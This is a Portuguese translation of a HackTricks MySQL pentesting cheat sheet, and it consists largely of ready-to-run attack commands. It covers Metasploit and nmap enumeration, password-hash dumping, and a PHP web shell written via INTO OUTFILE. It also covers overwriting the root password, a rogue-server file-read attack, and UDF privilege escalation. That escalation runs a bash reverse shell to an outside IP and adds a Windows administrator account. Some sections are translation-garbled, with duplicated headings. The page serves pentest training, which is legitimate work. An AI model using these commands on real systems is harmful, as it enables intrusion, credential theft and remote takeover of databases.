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# 3306 - Pentesting Mysql
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< details >
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< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
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* Você trabalha em uma **empresa de segurança cibernética** ? Você quer ver sua **empresa anunciada no HackTricks** ? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF** ? Confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
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< / details >
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< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
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[**RootedCON** ](https://www.rootedcon.com/ ) é o evento de segurança cibernética mais relevante na **Espanha** e um dos mais importantes na **Europa** . Com **a missão de promover o conhecimento técnico** , este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e segurança cibernética em todas as disciplinas.
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{% embed url="https://www.rootedcon.com/" %}
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## **Informações Básicas**
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**MySQL** é um Sistema de Gerenciamento de Banco de Dados Relacional (RDBMS) de código aberto e gratuito que usa a Linguagem de Consulta Estruturada (**SQL**). A partir [daqui ](https://www.siteground.com/tutorials/php-mysql/mysql/ ).
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**Porta padrão:** 3306
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```
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3306/tcp open mysql
```
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## **Conectar**
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### **Local**
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```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
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### Remoto
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```bash
mysql -h < Hostname > -u root
mysql -h < Hostname > -u root@localhost
```
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## Enumeração Externa
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Algumas das ações de enumeração requerem credenciais válidas.
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```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 < IP >
msf> use auxiliary/scanner/mysql/mysql_version
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msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
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msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
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### [**Força bruta**](../generic-methodologies-and-resources/brute-force.md#mysql)
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### Escrever qualquer dado binário
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```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
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## **Comandos MySQL**
### **Basic commands**
### **Comandos básicos**
#### **Connect to MySQL**
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#### **Conectar ao MySQL**
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```bash
mysql -h < host > -u < user > -p
```
#### **Show databases**
#### **Mostrar bancos de dados**
```mysql
SHOW DATABASES;
```
#### **Use database**
#### **Usar banco de dados**
```mysql
USE < database > ;
```
#### **Show tables**
#### **Mostrar tabelas**
```mysql
SHOW TABLES;
```
#### **Show columns**
#### **Mostrar colunas**
```mysql
SHOW COLUMNS FROM < table > ;
```
#### **Select**
#### **Selecionar**
```mysql
SELECT < column1 > ,< column2 > FROM < table > ;
```
### **Advanced commands**
### **Comandos avançados**
#### **Load data**
#### **Carregar dados**
```mysql
LOAD DATA INFILE '/etc/passwd' INTO TABLE < table > ;
```
#### **Into outfile**
#### **Em arquivo**
```mysql
SELECT < column1 > ,< column2 > INTO OUTFILE '/tmp/result.txt' FROM < table > ;
```
#### **Union**
#### **União**
```mysql
SELECT < column1 > ,< column2 > FROM < table1 > UNION SELECT < column1 > ,< column2 > FROM < table2 > ;
```
#### **Comments**
#### **Comentários**
```mysql
SELECT < column1 > FROM < table > WHERE 1=1 /*!AND < column2 > =< value > */;
```
#### **Stored procedures**
#### **Procedimentos armazenados**
```mysql
CREATE PROCEDURE < procedure_name > (< arguments > )
BEGIN
< statements > ;
END;
```
#### **User defined functions**
#### **Funções definidas pelo usuário**
```mysql
CREATE FUNCTION < function_name > (< arguments > ) RETURNS < type >
BEGIN
< statements > ;
END;
```
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```bash
show databases;
use < database > ;
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connect < database > ;
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show tables;
describe < table_name > ;
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show columns from < table > ;
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select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
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#Get a shell with the mysql client user
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\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="< TABLE NAME > "
#Read & Write
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## Yo need FILE privilege to read & write to files.
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select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?> ",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```
```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
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mysql -u root -h 127.0.0.1 -e 'show databases;'
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```
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### Enumeração de Permissões do MySQL
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Para enumerar as permissões de um usuário do MySQL, você pode executar a seguinte consulta:
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```
SELECT * FROM mysql.user WHERE User='username';
```
Isso retornará uma lista de todas as permissões concedidas ao usuário especificado. Certifique-se de substituir "username" pelo nome de usuário real que você está tentando enumerar.
Além disso, você pode verificar as permissões globais do MySQL executando a seguinte consulta:
```
SHOW GRANTS FOR 'username'@'%';
```
Isso retornará uma lista de todas as permissões globais concedidas ao usuário especificado. Novamente, certifique-se de substituir "username" pelo nome de usuário real que você está tentando enumerar.
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```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
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# Get users, permissions & hashes
SELECT * FROM mysql.user;
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#From DB
select * from mysql.user where user='root';
## Get users with file_priv
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select user,file_priv from mysql.user where file_priv='Y';
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## Get users with Super_priv
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select user,Super_priv from mysql.user where Super_priv='Y';
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# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
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#@ Functions not from sys. db
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SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
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```
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Você pode ver na documentação o significado de cada privilégio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html ](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute )
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### MySQL File RCE
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
[mysql-ssrf.md ](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md )
{% endcontent-ref %}
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## Leitura arbitrária de arquivos MySQL pelo cliente
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Na verdade, quando você tenta **carregar dados locais em uma tabela** , o **conteúdo de um arquivo** o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você puder adulterar um cliente mysql para se conectar ao seu próprio servidor MySQL, poderá ler arquivos arbitrários.** \
Observe que este é o comportamento usando:
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```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
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(Observe a palavra "local")\
Porque sem a palavra "local" você pode obter:
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```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
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**PoC Inicial:** [**https://github.com/allyshka/Rogue-MySql-Server** ](https://github.com/allyshka/Rogue-MySql-Server )\
**Neste artigo, você pode ver uma descrição completa do ataque e até mesmo como estendê-lo para RCE:** [**https://paper.seebug.org/1113/** ](https://paper.seebug.org/1113/ )\
**Aqui você pode encontrar uma visão geral do ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/** ](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/ )
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< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
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[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa** . Com **a missão de promover o conhecimento técnico** , este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
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{% embed url="https://www.rootedcon.com/" %}
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## POST
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### Usuário Mysql
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Será muito interessante se o mysql estiver sendo executado como **root** :
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```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
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systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
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```
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#### Configurações Perigosas do mysqld.cnf
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De [https://academy.hackthebox.com/module/112/section/1238 ](https://academy.hackthebox.com/module/112/section/1238 )
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| **Configurações** | **Descrição** |
| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------- |
| `user` | Define qual usuário o serviço MySQL irá executar. |
| `password` | Define a senha para o usuário MySQL. |
| `admin_address` | O endereço IP no qual escutar conexões TCP/IP na interface de rede administrativa. |
| `debug` | Esta variável indica as configurações atuais de depuração (informações sensíveis dentro dos logs). |
| `sql_warnings` | Esta variável controla se as declarações de inserção de uma única linha produzem uma string de informação se ocorrerem avisos. (informações sensíveis dentro dos logs) |
| `secure_file_priv` | Esta variável é usada para limitar o efeito das operações de importação e exportação de dados. |
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### Escalada de privilégios
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```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
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# Get users, permissions & creds
SELECT * FROM mysql.user;
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mysql -u root --password=< PASSWORD > -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
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### Escalada de privilégios via biblioteca
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Se o **servidor mysql estiver sendo executado como root** (ou outro usuário com mais privilégios), você pode fazê-lo executar comandos. Para isso, você precisa usar **funções definidas pelo usuário** . E para criar uma definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional em que o mysql está sendo executado.
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A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit, fazendo ** `locate "*lib_mysqludf_sys*"` **. Os arquivos ** `.so` ** são bibliotecas **linux** e os ** `.dll` ** são os do **Windows** , escolha o que você precisa.
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Se você **não tiver** essas bibliotecas, pode **procurá-las** ou baixar este [**código C para linux** ](https://www.exploit-db.com/exploits/1518 ) e **compilá-lo dentro da máquina vulnerável linux** :
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```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
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Agora que você tem a biblioteca, faça login no Mysql como um usuário privilegiado (root?) e siga os próximos passos:
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#### Linux
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```sql
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# Use a database
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use mysql;
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# Create a table to load the library and move it to the plugins dir
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create table npn(line blob);
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# Load the binary library inside the table
## You might need to change the path and file name
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insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
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# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
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create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
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# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
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```
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#### Windows
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```sql
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# CHech the linux comments for more indications
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USE mysql;
CREATE TABLE npn(line blob);
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INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
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show variables like '%plugin%';
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SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
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### Extraindo credenciais do MySQL de arquivos
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Dentro de _/etc/mysql/debian.cnf_ você pode encontrar a **senha em texto plano** do usuário **debian-sys-maint** .
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```bash
cat /etc/mysql/debian.cnf
```
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Você pode **usar essas credenciais para fazer login no banco de dados mysql** .
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Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários do MySQL** (aqueles que você pode extrair do mysql.user dentro do banco de dados).
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Você pode extrair os hashes fazendo:
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```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
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### Habilitando o registro
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Você pode habilitar o registro de consultas do MySQL dentro de `/etc/mysql/my.cnf` descomentando as seguintes linhas:
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![](< .. / . gitbook / assets / image ( 277 ) . png > )
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### Arquivos úteis
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Arquivos de configuração
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* windows \*
* config.ini
* my.ini
* windows\my.ini
* winnt\my.ini
* \<InstDir>/mysql/data/
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* unix
* my.cnf
* /etc/my.cnf
* /etc/mysql/my.cnf
* /var/lib/mysql/my.cnf
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* \~/.my.cnf
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* /etc/my.cnf
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* Histórico de comandos
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* \~/.mysql.history
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* Arquivos de registro
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* connections.log
* update.log
* common.log
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## Banco de dados/tabelas padrão do MySQL
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{% tabs %}
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{% tab title="information_schema" %}
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ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
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COLLATIONS\
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COLLATION\_CHARACTER\_SET\_APPLICABILITY\
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COLUMNS\
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COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
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ENGINES\
EVENTS\
FILES\
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GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
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PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
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REFERENTIAL\_CONSTRAINTS\
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ROUTINES\
SCHEMATA\
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SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
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STATISTICS\
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SYSTEM\_VARIABLES\
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TABLES\
TABLESPACES\
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TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
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TRIGGERS\
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USER\_PRIVILEGES\
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VIEWS\
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INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
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{% endtab %}
{% tab title="mysql" %}
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columns\_priv\
column\_stats\
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db\
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engine\_cost\
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event\
func\
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general\_log\
gtid\_executed\
gtid\_slave\_pos\
help\_category\
help\_keyword\
help\_relation\
help\_topic\
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host\
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index\_stats\
innodb\_index\_stats\
innodb\_table\_stats\
ndb\_binlog\_index\
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plugin\
proc\
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procs\_priv\
proxies\_priv\
roles\_mapping\
server\_cost\
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servers\
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slave\_master\_info\
slave\_relay\_log\_info\
slave\_worker\_info\
slow\_log\
tables\_priv\
table\_stats\
time\_zone\
time\_zone\_leap\_second\
time\_zone\_name\
time\_zone\_transition\
time\_zone\_transition\_type\
transaction\_registry\
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user
{% endtab %}
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{% tab title="performance_schema" %}
accounts\
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cond\_instances\
events\_stages\_current\
events\_stages\_history\
events\_stages\_history\_long\
events\_stages\_summary\_by\_account\_by\_event\_name\
events\_stages\_summary\_by\_host\_by\_event\_name\
events\_stages\_summary\_by\_thread\_by\_event\_name\
events\_stages\_summary\_by\_user\_by\_event\_name\
events\_stages\_summary\_global\_by\_event\_name\
events\_statements\_current\
events\_statements\_history\
events\_statements\_history\_long\
events\_statements\_summary\_by\_account\_by\_event\_name\
events\_statements\_summary\_by\_digest\
events\_statements\_summary\_by\_host\_by\_event\_name\
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```
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Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
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Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
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Entry_4:
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Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
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```
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< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
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{% embed url="https://www.rootedcon.com/" %}
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< details >
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< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
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< / details >